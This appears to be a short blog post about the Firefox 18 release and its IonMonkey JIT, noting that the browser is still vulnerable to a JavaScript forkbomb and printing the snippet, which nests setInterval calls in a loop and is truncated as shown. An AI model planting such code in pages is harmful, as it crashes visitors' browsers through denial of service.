Firefox 18 with new IonMonkey JIT has landed, but...

Yesterday Mozilla released Firefox 18. The main improvement is new JIT compiler called IonMonkey (release note you can find here).

Sadly, Firefox 18 is still vulnerable to javascript simple forkbomb which results in denial of service:

function x() {
  for(var r=0; r<100000; r++) {
    var e=setInterval("x()", 1);

var d=setInterval("x()", 1);

Live test "here".

PS 1. New Firefox contains also integrated PDF Viewer called PDF.js. Interesting fact is that it's written entirely in Javascript. Project is available on github.

PS 2. Firefox 10 was released on January 31, 2012, so it's 9th Firefox version since then. Software development philosophy responsible for such rapid releasing is called Release early, release often.
